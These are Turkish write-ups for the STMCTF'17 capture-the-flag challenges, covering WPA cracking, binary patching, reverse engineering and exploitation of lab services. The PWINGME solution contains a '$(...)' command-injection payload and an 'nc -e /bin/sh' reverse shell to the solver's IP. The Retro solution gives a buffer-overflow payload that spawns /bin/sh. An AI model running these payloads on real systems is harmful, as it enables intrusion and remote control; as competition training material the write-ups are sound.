103 | Opening evimKat1.tiff
104 | Reading packets, please wait...
105 |
106 | Aircrack-ng 1.2 rc4
107 |
108 | [00:00:00] 1/1 keys tested (142.03 k/s)
109 |
110 | Time left: 0 seconds 100.00%
111 |
112 | KEY FOUND! [ 8u*F14g*Degil ]
113 |
114 |
115 | Master Key : DD 80 65 C9 F5 F9 C5 51 6F 57 72 0E D3 6D 57 B1
116 | 47 AF CC 8D DD 56 CF 28 E5 AD 7F 49 6C 40 CD A3
117 |
118 | Transient Key : 91 45 D7 CE E3 C7 71 5E A9 3F 3F A5 34 F1 16 1D
119 | 61 4A 96 5C 8B 16 72 06 1C 50 22 F2 74 C4 40 26
120 | E6 F5 4C 2C A6 6B AD 8F 4F A0 41 34 36 B1 F2 73
121 | A8 3D BD 02 72 35 E3 9E 34 DC 71 AF E8 BA CB 0A
122 |
123 | EAPOL HMAC : FA 34 26 9F 44 84 BF 42 C6 38 24 92 7D 7D 0D 08
124 |
125 | ```
126 |
127 | 7. Wireshark ile evimKat1.tiff dosyasını açıyoruz. IEEE 802.11 WPA için elde ettiğimiz şifreyi giriyoruz. Daha sonra wireshark trafiği decode edilmesini bekliyoruz.
128 |
129 | 
130 |
131 | 8. Ağ trafiğini incelediğimizde çok fazla gürültü olduğunu görüyoruz. Yarışmacı burada DNS paketleri üzerine yoğunlaşabilir. STMCTF kelimesi geçen sorgular bulunmakta. Gürültü olması için koyulan ping istekleri, farklı portlara açılan TCP istekleri görülmektedir. DNS paketleri incelendiğinde veya STMCTF{ kelimesi string olarak paketler içerisinde arandığında flag bulunabiliyor.
132 |
133 | 
134 |
135 |
136 | ```
137 | 306088 1058.626222 192.168.2.100 192.168.2.1 DNS 141 Standard query 0x7fe1 A STMCTF{Kulland1g1n_S1frey1_Tekrar_Kullanma}
138 | ```
139 |
140 | FLAG: STMCTF{Kulland1g1n_S1frey1_Tekrar_Kullanma}
141 |
--------------------------------------------------------------------------------
/MOB/freewifi/freewifi0.tiff:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/MOB/freewifi/freewifi0.tiff
--------------------------------------------------------------------------------
/MOB/freewifi/freewifi1.tiff:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/MOB/freewifi/freewifi1.tiff
--------------------------------------------------------------------------------
/PWN/NOPME/NOPME:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/PWN/NOPME/NOPME
--------------------------------------------------------------------------------
/PWN/NOPME/NOPME_patched:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/PWN/NOPME/NOPME_patched
--------------------------------------------------------------------------------
/PWN/NOPME/README.md:
--------------------------------------------------------------------------------
1 | ## Soru İsmi: REVERSE ME OR NOP ME
2 |
3 | ## Soru Metni:
4 | Eğer yeterince beklersen gelecek FLAG'ı bulabilirsin.
5 |
6 | [1c8f8fd399da56cf95f64ada316b84be](https://github.com/stmctf/stmctf17/blob/master/PWN/NOPME/NOPME)
7 |
8 |
9 | ## Çözüm:
10 |
11 | Soruda verilen binary dosyasini acinca sleepler ile bilinmeyen bir zaman bekliyor. Ya reverse edip, printflag fonksiyonlarinin input/outputlari incelenmeli veya binary patching yapilarak sleepler nop'a cevirilmelidir.
12 |
13 |
14 | 0. ```cp NOPME NOPME_patched``` komutu ile binary patching yapacagimiz dosyayi kopyalayarak cozume hazirlaniyoruz.
15 |
16 | 1. Radare ile dosyayi yazilabilir bir sekilde aciyoruz.
17 | ```radare2 -Aw NOPME_patched```
18 |
19 | ```s main``` komutu ile main fonksiyonuna gidiyoruz.
20 |
21 |
22 | ```pdf``` komutu ile fonksiyonu disassemble edilmis sekilde ekrana bastiriyoruz.
23 |
24 | ```
25 | [0x00400470]> s main
26 | [0x00400566]> pdf
27 | ;-- main:
28 | / (fcn) sym.main 613
29 | | sym.main ();
30 | | ; var int local_30h @ rbp-0x30
31 | | ; var int local_28h @ rbp-0x28
32 | | ; var int local_20h @ rbp-0x20
33 | | ; var int local_18h @ rbp-0x18
34 | | ; var int local_10h @ rbp-0x10
35 | | ; var int local_8h @ rbp-0x8
36 | | ; DATA XREF from 0x0040048d (entry0)
37 | | 0x00400566 55 push rbp
38 | | 0x00400567 4889e5 mov rbp, rsp
39 | | 0x0040056a 4883ec30 sub rsp, 0x30 ; '0'
40 | | 0x0040056e 48c745d00409. mov qword [local_30h], str.__no
41 | | 0x00400576 48c745d80909. mov qword [local_28h], str.__this
42 | | 0x0040057e 48c745e01009. mov qword [local_20h], str.__is
43 | | 0x00400586 48c745e81509. mov qword [local_18h], str.__not
44 | | 0x0040058e 48c745f01b09. mov qword [local_10h], str.___a
45 | | 0x00400596 48c745f82009. mov qword [local_8h], str.__flag
46 | | 0x0040059e bf12000000 mov edi, 0x12
47 | | 0x004005a3 e85d020000 call sym.printFlag2 ; floating_point rint(arithmetic x)
48 | | 0x004005a8 bf01000000 mov edi, 1
49 | | 0x004005ad e89efeffff call sym.imp.sleep ; int sleep(int s)
50 | | 0x004005b2 bf13000000 mov edi, 0x13
51 | | 0x004005b7 e849020000 call sym.printFlag2 ; floating_point rint(arithmetic x)
52 | | 0x004005bc bf0a000000 mov edi, 0xa
53 | | 0x004005c1 e88afeffff call sym.imp.sleep ; int sleep(int s)
54 | | 0x004005c6 bf0c000000 mov edi, 0xc
55 | | 0x004005cb e835020000 call sym.printFlag2 ; floating_point rint(arithmetic x)
56 | | 0x004005d0 bf64000000 mov edi, 0x64 ; 'd'
57 | | 0x004005d5 e876feffff call sym.imp.sleep ; int sleep(int s)
58 | | 0x004005da bf02000000 mov edi, 2
59 | | 0x004005df e821020000 call sym.printFlag2 ; floating_point rint(arithmetic x)
60 | | 0x004005e4 bfe8030000 mov edi, 0x3e8
61 | | 0x004005e9 e862feffff call sym.imp.sleep ; int sleep(int s)
62 | | 0x004005ee bf13000000 mov edi, 0x13
63 | | 0x004005f3 e80d020000 call sym.printFlag2 ; floating_point rint(arithmetic x)
64 | | 0x004005f8 bf10270000 mov edi, 0x2710
65 | | 0x004005fd e84efeffff call sym.imp.sleep ; int sleep(int s)
66 | | 0x00400602 bf05000000 mov edi, 5
67 | | 0x00400607 e8f9010000 call sym.printFlag2 ; floating_point rint(arithmetic x)
68 | | 0x0040060c bf10270000 mov edi, 0x2710
69 | | 0x00400611 e83afeffff call sym.imp.sleep ; int sleep(int s)
70 | | 0x00400616 bf00000000 mov edi, 0
71 | | 0x0040061b e81f020000 call sym.printFlag3 ; floating_point rint(arithmetic x)
72 | | 0x00400620 bf10270000 mov edi, 0x2710
73 | | 0x00400625 e826feffff call sym.imp.sleep ; int sleep(int s)
74 | | 0x0040062a bf0d000000 mov edi, 0xd
75 | | 0x0040062f e8d1010000 call sym.printFlag2 ; floating_point rint(arithmetic x)
76 | | 0x00400634 bf40420f00 mov edi, 0xf4240
77 | | 0x00400639 e812feffff call sym.imp.sleep ; int sleep(int s)
78 | | 0x0040063e bf0e000000 mov edi, 0xe
79 | | 0x00400643 e8bd010000 call sym.printFlag2 ; floating_point rint(arithmetic x)
80 | | 0x00400648 bf40420f00 mov edi, 0xf4240
81 | | 0x0040064d e8fefdffff call sym.imp.sleep ; int sleep(int s)
82 | | 0x00400652 bf0f000000 mov edi, 0xf
83 | | 0x00400657 e8a9010000 call sym.printFlag2 ; floating_point rint(arithmetic x)
84 | | 0x0040065c bf40420f00 mov edi, 0xf4240
85 | | 0x00400661 e8eafdffff call sym.imp.sleep ; int sleep(int s)
86 | | 0x00400666 bf0d000000 mov edi, 0xd
87 | | 0x0040066b e895010000 call sym.printFlag2 ; floating_point rint(arithmetic x)
88 | | 0x00400670 bf40420f00 mov edi, 0xf4240
89 | | 0x00400675 e8d6fdffff call sym.imp.sleep ; int sleep(int s)
90 | | 0x0040067a bf0e000000 mov edi, 0xe
91 | | 0x0040067f e881010000 call sym.printFlag2 ; floating_point rint(arithmetic x)
92 | | 0x00400684 bf40420f00 mov edi, 0xf4240
93 | | 0x00400689 e8c2fdffff call sym.imp.sleep ; int sleep(int s)
94 | | 0x0040068e bf0f000000 mov edi, 0xf
95 | | 0x00400693 e86d010000 call sym.printFlag2 ; floating_point rint(arithmetic x)
96 | | 0x00400698 bf40420f00 mov edi, 0xf4240
97 | | 0x0040069d e8aefdffff call sym.imp.sleep ; int sleep(int s)
98 | | 0x004006a2 bf0d000000 mov edi, 0xd
99 | | 0x004006a7 e859010000 call sym.printFlag2 ; floating_point rint(arithmetic x)
100 | | 0x004006ac bf40420f00 mov edi, 0xf4240
101 | | 0x004006b1 e89afdffff call sym.imp.sleep ; int sleep(int s)
102 | | 0x004006b6 bf0e000000 mov edi, 0xe
103 | | 0x004006bb e845010000 call sym.printFlag2 ; floating_point rint(arithmetic x)
104 | | 0x004006c0 bf40420f00 mov edi, 0xf4240
105 | | 0x004006c5 e886fdffff call sym.imp.sleep ; int sleep(int s)
106 | | 0x004006ca bf0f000000 mov edi, 0xf
107 | | 0x004006cf e831010000 call sym.printFlag2 ; floating_point rint(arithmetic x)
108 | | 0x004006d4 bf40420f00 mov edi, 0xf4240
109 | | 0x004006d9 e872fdffff call sym.imp.sleep ; int sleep(int s)
110 | | 0x004006de bf0d000000 mov edi, 0xd
111 | | 0x004006e3 e81d010000 call sym.printFlag2 ; floating_point rint(arithmetic x)
112 | | 0x004006e8 bf40420f00 mov edi, 0xf4240
113 | | 0x004006ed e85efdffff call sym.imp.sleep ; int sleep(int s)
114 | | 0x004006f2 bf0e000000 mov edi, 0xe
115 | | 0x004006f7 e809010000 call sym.printFlag2 ; floating_point rint(arithmetic x)
116 | | 0x004006fc bf40420f00 mov edi, 0xf4240
117 | | 0x00400701 e84afdffff call sym.imp.sleep ; int sleep(int s)
118 | | 0x00400706 bf0f000000 mov edi, 0xf
119 | | 0x0040070b e8f5000000 call sym.printFlag2 ; floating_point rint(arithmetic x)
120 | | 0x00400710 bf40420f00 mov edi, 0xf4240
121 | | 0x00400715 e836fdffff call sym.imp.sleep ; int sleep(int s)
122 | | 0x0040071a bf0b000000 mov edi, 0xb
123 | | 0x0040071f e81b010000 call sym.printFlag3 ; floating_point rint(arithmetic x)
124 | | 0x00400724 bf40420f00 mov edi, 0xf4240
125 | | 0x00400729 e822fdffff call sym.imp.sleep ; int sleep(int s)
126 | | 0x0040072e bf02000000 mov edi, 2
127 | | 0x00400733 e807010000 call sym.printFlag3 ; floating_point rint(arithmetic x)
128 | | 0x00400738 bf40420f00 mov edi, 0xf4240
129 | | 0x0040073d e80efdffff call sym.imp.sleep ; int sleep(int s)
130 | | 0x00400742 bf0b000000 mov edi, 0xb
131 | | 0x00400747 e8f3000000 call sym.printFlag3 ; floating_point rint(arithmetic x)
132 | | 0x0040074c bf40420f00 mov edi, 0xf4240
133 | | 0x00400751 e8fafcffff call sym.imp.sleep ; int sleep(int s)
134 | | 0x00400756 bf02000000 mov edi, 2
135 | | 0x0040075b e8df000000 call sym.printFlag3 ; floating_point rint(arithmetic x)
136 | | 0x00400760 bf40420f00 mov edi, 0xf4240
137 | | 0x00400765 e8e6fcffff call sym.imp.sleep ; int sleep(int s)
138 | | 0x0040076a bf0b000000 mov edi, 0xb
139 | | 0x0040076f e8cb000000 call sym.printFlag3 ; floating_point rint(arithmetic x)
140 | | 0x00400774 bf40420f00 mov edi, 0xf4240
141 | | 0x00400779 e8d2fcffff call sym.imp.sleep ; int sleep(int s)
142 | | 0x0040077e bf02000000 mov edi, 2
143 | | 0x00400783 e8b7000000 call sym.printFlag3 ; floating_point rint(arithmetic x)
144 | | 0x00400788 bf40420f00 mov edi, 0xf4240
145 | | 0x0040078d e8befcffff call sym.imp.sleep ; int sleep(int s)
146 | | 0x00400792 bf0b000000 mov edi, 0xb
147 | | 0x00400797 e8a3000000 call sym.printFlag3 ; floating_point rint(arithmetic x)
148 | | 0x0040079c bf40420f00 mov edi, 0xf4240
149 | | 0x004007a1 e8aafcffff call sym.imp.sleep ; int sleep(int s)
150 | | 0x004007a6 bf02000000 mov edi, 2
151 | | 0x004007ab e88f000000 call sym.printFlag3 ; floating_point rint(arithmetic x)
152 | | 0x004007b0 bf40420f00 mov edi, 0xf4240
153 | | 0x004007b5 e896fcffff call sym.imp.sleep ; int sleep(int s)
154 | | 0x004007ba bf01000000 mov edi, 1
155 | | 0x004007bf e87b000000 call sym.printFlag3 ; floating_point rint(arithmetic x)
156 | | 0x004007c4 b800000000 mov eax, 0
157 | | 0x004007c9 c9 leave
158 | \ 0x004007ca c3 ret
159 | ```
160 |
161 | 2. Gorundugu uzere oldukca fazla sleep fonksiyonu var. Dilerseniz tek tek butun sleep instructionlarinin uzerine NOP yazabilirsiniz ancak uzun surecegi icin daha kisa bir cozum aramakta fayda var. Biz bu soruyu asagidaki yol ile cozmek istedik. Daha kolay cozumler olmasina ragmen bu yontem ile yine 2-3 dakika icerisinde cozulebilmektedir.
162 |
163 | 
164 |
165 |
166 |
167 | 3. Disassemble edilmis main fonksiyonuna baktigimiz zaman goruyoruz ki sleep icin yapilan sistem cagrilari ```e8 (call) + ****ffff (adres)``` seklinde. ```/x e8....ffff``` komutu ile opcode aramasi yaparak binary icerisindeki butun cagrilari ekrana dokuyoruz ve bunlardan main adres alani icerisindeki satirlari kopyalayarak sleeps.txt’ye kaydediyoruz.
168 |
169 |
170 | ```
171 | #sleeps.txt icerigi
172 |
173 | 0x004005ad hit0_2 e89efeffff
174 | 0x004005c1 hit5_2 e88afeffff
175 | 0x004005d5 hit5_3 e876feffff
176 | 0x004005e9 hit5_4 e862feffff
177 | 0x004005fd hit5_5 e84efeffff
178 | 0x00400611 hit5_6 e83afeffff
179 | 0x00400625 hit5_7 e826feffff
180 | 0x00400639 hit5_8 e812feffff
181 | 0x0040064d hit5_9 e8fefdffff
182 | 0x00400661 hit5_10 e8eafdffff
183 | 0x00400675 hit5_11 e8d6fdffff
184 | 0x00400689 hit5_12 e8c2fdffff
185 | 0x0040069d hit5_13 e8aefdffff
186 | 0x004006b1 hit5_14 e89afdffff
187 | 0x004006c5 hit5_15 e886fdffff
188 | 0x004006d9 hit5_16 e872fdffff
189 | 0x004006ed hit5_17 e85efdffff
190 | 0x00400701 hit5_18 e84afdffff
191 | 0x00400715 hit5_19 e836fdffff
192 | 0x00400729 hit5_20 e822fdffff
193 | 0x0040073d hit5_21 e80efdffff
194 | 0x00400751 hit5_22 e8fafcffff
195 | 0x00400765 hit5_23 e8e6fcffff
196 | 0x00400779 hit5_24 e8d2fcffff
197 | 0x0040078d hit5_25 e8befcffff
198 | 0x004007a1 hit5_26 e8aafcffff
199 | 0x004007b5 hit5_27 e896fcffff
200 | ```
201 |
202 |
203 | 4. Daha sonra sleeps.txt dosyasindaki her adrese NOP yazmak icin gerekli komut listesini awk ile olusturuyoruz (her nop yazimi icin iki satir gerekiyor: ```s 0xAdres``` komutu ile istenilen adrese gidiyoruz ve ```“wa nop;nop;nop;nop;nop;”``` komutu ile 5 byte NOP yaziyoruz).
204 |
205 | ```awk '{print "s " $1 "\n\"wa nop;nop;nop;nop;nop;\""}' sleeps.txt```
206 |
207 | 
208 |
209 |
210 | ```
211 | #Olusan komut listesi:
212 |
213 | s 0x004005ad
214 | "wa nop;nop;nop;nop;nop;"
215 | s 0x004005c1
216 | "wa nop;nop;nop;nop;nop;"
217 | s 0x004005d5
218 | "wa nop;nop;nop;nop;nop;"
219 | s 0x004005e9
220 | "wa nop;nop;nop;nop;nop;"
221 | s 0x004005fd
222 | "wa nop;nop;nop;nop;nop;"
223 | s 0x00400611
224 | "wa nop;nop;nop;nop;nop;"
225 | s 0x00400625
226 | "wa nop;nop;nop;nop;nop;"
227 | s 0x00400639
228 | "wa nop;nop;nop;nop;nop;"
229 | s 0x0040064d
230 | "wa nop;nop;nop;nop;nop;"
231 | s 0x00400661
232 | "wa nop;nop;nop;nop;nop;"
233 | s 0x00400675
234 | "wa nop;nop;nop;nop;nop;"
235 | s 0x00400689
236 | "wa nop;nop;nop;nop;nop;"
237 | s 0x0040069d
238 | "wa nop;nop;nop;nop;nop;"
239 | s 0x004006b1
240 | "wa nop;nop;nop;nop;nop;"
241 | s 0x004006c5
242 | "wa nop;nop;nop;nop;nop;"
243 | s 0x004006d9
244 | "wa nop;nop;nop;nop;nop;"
245 | s 0x004006ed
246 | "wa nop;nop;nop;nop;nop;"
247 | s 0x00400701
248 | "wa nop;nop;nop;nop;nop;"
249 | s 0x00400715
250 | "wa nop;nop;nop;nop;nop;"
251 | s 0x00400729
252 | "wa nop;nop;nop;nop;nop;"
253 | s 0x0040073d
254 | "wa nop;nop;nop;nop;nop;"
255 | s 0x00400751
256 | "wa nop;nop;nop;nop;nop;"
257 | s 0x00400765
258 | "wa nop;nop;nop;nop;nop;"
259 | s 0x00400779
260 | "wa nop;nop;nop;nop;nop;"
261 | s 0x0040078d
262 | "wa nop;nop;nop;nop;nop;"
263 | s 0x004007a1
264 | "wa nop;nop;nop;nop;nop;"
265 | s 0x004007b5
266 | "wa nop;nop;nop;nop;nop;"
267 | ```
268 |
269 | 5. Cikan sonucu radare2 konsolumuza yapistirip, q ile cikiyoruz.
270 |
271 | [NOPME_patched](https://github.com/stmctf/stmctf17/blob/master/PWN/NOPME/NOPME_patched) dosyasini calistirdigimiz zaman flagi **STMCTF{NOPNOPNOPNOP90909090}** olarak buluyoruz.
272 |
273 |
274 | 
275 |
276 |
277 |
--------------------------------------------------------------------------------
/PWN/NOPME/nop1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/PWN/NOPME/nop1.png
--------------------------------------------------------------------------------
/PWN/NOPME/nop2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/PWN/NOPME/nop2.png
--------------------------------------------------------------------------------
/PWN/NOPME/nop3.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/PWN/NOPME/nop3.png
--------------------------------------------------------------------------------
/PWN/NOPME/nop4.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/PWN/NOPME/nop4.png
--------------------------------------------------------------------------------
/PWN/NOPME/sleeps.txt:
--------------------------------------------------------------------------------
1 | 0x004005ad hit0_2 e89efeffff
2 | 0x004005c1 hit5_2 e88afeffff
3 | 0x004005d5 hit5_3 e876feffff
4 | 0x004005e9 hit5_4 e862feffff
5 | 0x004005fd hit5_5 e84efeffff
6 | 0x00400611 hit5_6 e83afeffff
7 | 0x00400625 hit5_7 e826feffff
8 | 0x00400639 hit5_8 e812feffff
9 | 0x0040064d hit5_9 e8fefdffff
10 | 0x00400661 hit5_10 e8eafdffff
11 | 0x00400675 hit5_11 e8d6fdffff
12 | 0x00400689 hit5_12 e8c2fdffff
13 | 0x0040069d hit5_13 e8aefdffff
14 | 0x004006b1 hit5_14 e89afdffff
15 | 0x004006c5 hit5_15 e886fdffff
16 | 0x004006d9 hit5_16 e872fdffff
17 | 0x004006ed hit5_17 e85efdffff
18 | 0x00400701 hit5_18 e84afdffff
19 | 0x00400715 hit5_19 e836fdffff
20 | 0x00400729 hit5_20 e822fdffff
21 | 0x0040073d hit5_21 e80efdffff
22 | 0x00400751 hit5_22 e8fafcffff
23 | 0x00400765 hit5_23 e8e6fcffff
24 | 0x00400779 hit5_24 e8d2fcffff
25 | 0x0040078d hit5_25 e8befcffff
26 | 0x004007a1 hit5_26 e8aafcffff
27 | 0x004007b5 hit5_27 e896fcffff
28 |
--------------------------------------------------------------------------------
/PWN/PWINGME/README.md:
--------------------------------------------------------------------------------
1 | ## Soru İsmi: PWINGME
2 |
3 | ## Soru Metni:
4 |
5 | ```nc 192.168.$MASANO.5 7777```
6 |
7 | ## On bilgi:
8 | Kendi ortaminizda dosyayi binary dosyasini 7777 portundan servis etmek icin asagidaki komutu kullanabilirsiniz. Ancak unutmayin ki, sorunun calistigi isletim sistemi ile sizin isletim sisteminiz farkli oldugu icin, yarisma platformu tam olarak simule edilemeyecektir. Ayni klasorde flag isimli dosya icerisinde flag yer almaktadir.
9 |
10 | ```socat TCP-LISTEN:7777,reuseaddr,fork EXEC:"./pwingme"```
11 |
12 |
13 |
14 | ## Çözüm:
15 |
16 | 1. Soru metnine gore “; & $ > < ` \ !” karakterleri girdi olarak alindiginda karaliste anlasilmaktadir. Ancak $ karakterini denedigimizde karalisteye alinmadigi, unutuldugu fark edilmektedir. Linux isletim sistemlerinde $(komut) command injection saldirilarinda kullanilmaktadir.
17 |
18 | Yukaridaki bilgi bilinmese dahi ipuclarindan yer alan cumle (“The following special character can be used for command injection such as | ; & $ > < ` \ !”) arama motorlarinda aratildigi zaman OWASP* sitesindeki yazi bulunmaktadir.
19 | * https://www.owasp.org/index.php/Testing_for_Command_Injection_(OTG-INPVAL-013)
20 |
21 | 
22 |
23 | 2. Bu yazida yer alan ornek kullanimlari mevcut olan $(cmd) komutunun calistigi fark edilmektedir (ornegin ; karakteri kullanildiginda “ILLEGAL CHAR: ;” hatasi vermektedir ancak $ karakteri kullanildiginda baska bir hata donmektedir).
24 |
25 | 
26 |
27 |
28 | 3. Ancak bu sorudaki puf nokta STDOUT’un ekrana bastirilmamasidir. Bu durumun fark edilerek ```127.0.0.1$(/bin/sh)``` komutu ile blind shell alinmalidir. Devaminda ise reverse shell acilarak kendi bilgisayarimiza shell gonderilmelidir. Reverse shell almak icin ```nc -e /bin/sh $KENDIIPADRESIMIZ 4444``` komutu kullanilabilir.
29 |
30 | 4. Kendi bilgisayarimizdan ```nc -lnvp 4444``` ile dinledigimiz ve reverse shell’i tetikledigimiz durumda, soru sunucusundan shell alinmaktadir.
31 |
32 | 
33 |
34 |
35 |
36 | Alternatif Cozum Yolu:
37 |
38 | 1. Shell almaya gerek kalmadan, soru binary dosyasi ile ayni dizinde flag dosyasi oldugu dusunulerek, ```127.0.0.1$(cat flag)``` komutu ile flag ekrana bastirilabilmektedir. Boylelikle calistirilan komut ```“PING 127.0.0.1”+(cat flag komutunun ciktisi yani flag degeri)``` olacaktir. STDERR ekrana bastirildigi icin ve ```PING 127.0.0.1STMCTF{...}``` komutu hata dondureceginden dolayi flag ekrana bastirilacaktir.
39 |
40 | 
41 |
42 |
--------------------------------------------------------------------------------
/PWN/PWINGME/p1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/PWN/PWINGME/p1.png
--------------------------------------------------------------------------------
/PWN/PWINGME/p2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/PWN/PWINGME/p2.png
--------------------------------------------------------------------------------
/PWN/PWINGME/p3.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/PWN/PWINGME/p3.png
--------------------------------------------------------------------------------
/PWN/PWINGME/p4.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/PWN/PWINGME/p4.png
--------------------------------------------------------------------------------
/PWN/PWINGME/pwingme:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/PWN/PWINGME/pwingme
--------------------------------------------------------------------------------
/PWN/README.md:
--------------------------------------------------------------------------------
1 |
2 |
--------------------------------------------------------------------------------
/PWN/Retro/README.md:
--------------------------------------------------------------------------------
1 |
2 | ## Soru İsmi: Retro
3 |
4 | ## Soru Metni:
5 |
6 | ```nc 192.168.$MASANO.5 8888```
7 |
8 | ## On bilgi:
9 | Kendi ortaminizda dosyayi binary dosyasini 8888 portundan servis etmek icin asagidaki komutu kullanabilirsiniz. Ancak unutmayin ki, sorunun calistigi isletim sistemi ile sizin isletim sisteminiz farkli oldugu icin, yarisma platformu tam olarak simule edilemeyecektir. Flag /home/ctf/flag dosyasinda yer almaktadir.
10 | socat TCP-LISTEN:8888,reuseaddr,fork EXEC:"./retro"
11 |
12 | ## Çözüm:
13 |
14 | 1. Bu soruda brute force saldirilarinin engellenmesi icin mesajlar arasina sleep konulmustur ve kullanicidan bu sure sonunda bir parola istenmektedir. Yanlis parola girildigi taktirde /bin/ls komutunun calistigi belirtilmektedir.
15 |
16 | 
17 |
18 | 2. Bellekte bir sekilde tasirma yaparak system(/bin/ls); komutu calistirilmak istenilen komut ile degistirilebilir. Muhtemel buffer boyutlarini (512, 1024, 2048 vb.) tasirmaya yonelik payload gonderdigimiz zaman (ornegin 1024+2 byte) tasirma oldugunu fark ediyoruz.
19 |
20 | 
21 |
22 | 3. Bu durumda, hedef sisteme “1024”*A+”/bin/sh” seklinde bir payload gonderdigimiz zaman shell alabiliyoruz.
23 |
24 | 
25 |
26 |
27 |
--------------------------------------------------------------------------------
/PWN/Retro/r1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/PWN/Retro/r1.png
--------------------------------------------------------------------------------
/PWN/Retro/r2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/PWN/Retro/r2.png
--------------------------------------------------------------------------------
/PWN/Retro/r3.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/PWN/Retro/r3.png
--------------------------------------------------------------------------------
/PWN/Retro/retro:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/PWN/Retro/retro
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # STMCTF'17 Writeups
2 | 26 Ekim 2017 Perşembe günü gerçekleştirilen STMCTF'17 yarışmasında sorulan soruların çözümlerini hazırladık.
3 |
4 | 
5 |
--------------------------------------------------------------------------------
/REVERSE/BeniCalistirma/README.md:
--------------------------------------------------------------------------------
1 | ## Soru İsmi: Beni Çalıştırma
2 |
3 | ## Soru Metni:
4 | "Uçarım Kaçarım" firması çalışanları firmanın giriş kapısında bir USB bellek bulmuş. Firmanın sistem yöneticisi USB bellek içerisinde "beniCalistirma.exe" isimli bir dosya oldugunu tespit etmiş, bazı analizler yapmış ama hiçbir sonuç alamamış. Bu sabah da STM Zararlı Yazılım Analizi Laboratuvarı zLab'a analiz edilmesi icin exe dosyası getirildi. Dostum; analizi yapalım ama hepimiz şu anda CTF yarışmasında görevliyiz. Bize yardimci olur musunuz? Dosyayı bizim için analiz ediver.
5 |
6 | ## Çözüm:
7 | 1. ac78fc90b6fb7e17ec2d35e09e7b008d.zip dosyasi icerisinden beniCalistirma.exe dosyasi cikiyor. Dosya, IDA Pro veya IDA Demo ile açıldığında assembly kodlarının anlamsız olduğu görülüyor.
8 |
9 | 2. Yarisma boyunca verilen ipuclari ve sorunun adindan da anlisilacagi gibi exe dosyasi calisabilir bir dosya degil.
10 |
11 | 3. IDA Pro veya IDA Demo ile soz konusu dosya acildiginda Graph Overview ekranında dogrudan flag gözüküyor.
12 |
13 | 
14 |
15 | 3. Graph Overview ekranında STMCTF{_Hold_the_DOOR__} flag okunabiliyor.
16 |
17 | 
18 |
19 | 4. DEF CON 23, "Chris Domas - Repsych: Psychological Warfare in Reverse Engineering" sunumunu izleyerek keyifli dakikalar gecirebilirsiniz.
20 |
21 |
--------------------------------------------------------------------------------
/REVERSE/BeniCalistirma/ac78fc90b6fb7e17ec2d35e09e7b008d.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/REVERSE/BeniCalistirma/ac78fc90b6fb7e17ec2d35e09e7b008d.zip
--------------------------------------------------------------------------------
/REVERSE/BeniCalistirma/beniCalistirma_0.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/REVERSE/BeniCalistirma/beniCalistirma_0.png
--------------------------------------------------------------------------------
/REVERSE/BeniCalistirma/beniCalistirma_1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/REVERSE/BeniCalistirma/beniCalistirma_1.png
--------------------------------------------------------------------------------
/REVERSE/FacelessFlag/32ada5b75430c524df16bf3b1428e65e.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/REVERSE/FacelessFlag/32ada5b75430c524df16bf3b1428e65e.zip
--------------------------------------------------------------------------------
/REVERSE/FacelessFlag/README.md:
--------------------------------------------------------------------------------
1 |
2 |
3 | ## Soru İsmi: Faceless Flag
4 |
5 | ## Soru Metni:
6 | Faceless flag 300 puanını katletmeden gerçek yüzünü bulmalısın.
7 |
8 | 32ada5b75430c524df16bf3b1428e65e.zip
9 |
10 | ## Çözüm:
11 |
